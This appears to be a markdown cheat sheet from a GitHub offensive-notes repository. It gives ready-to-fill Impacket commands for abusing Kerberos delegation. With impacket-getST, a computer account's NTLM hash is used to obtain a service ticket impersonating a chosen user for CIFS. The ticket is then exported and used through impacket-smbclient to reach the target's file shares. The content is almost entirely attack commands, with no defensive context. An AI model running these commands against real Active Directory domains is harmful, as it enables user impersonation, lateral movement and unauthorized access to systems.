Skip to content

Latest commit

 

History

History
18 lines (14 loc) · 517 Bytes

impacket-getST.md

File metadata and controls

18 lines (14 loc) · 517 Bytes

Source

https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/getST.py

Create service ticket using computer account and delegate ticket to impersonate user

impacket-getST -self -impersonate "<targetUser>" -altservice "cifs/<fqdnComputer>" -dc-ip <domainController> '<domain>/<computerAccount$>' -hashes :<ntlmHash>

Export ticket

export KRB5CCNAME=<impersonateUser>.ccache

Use ticket

impacket-smbclient -k -no-pass <fqdnRhost> -dc-ip <domainController>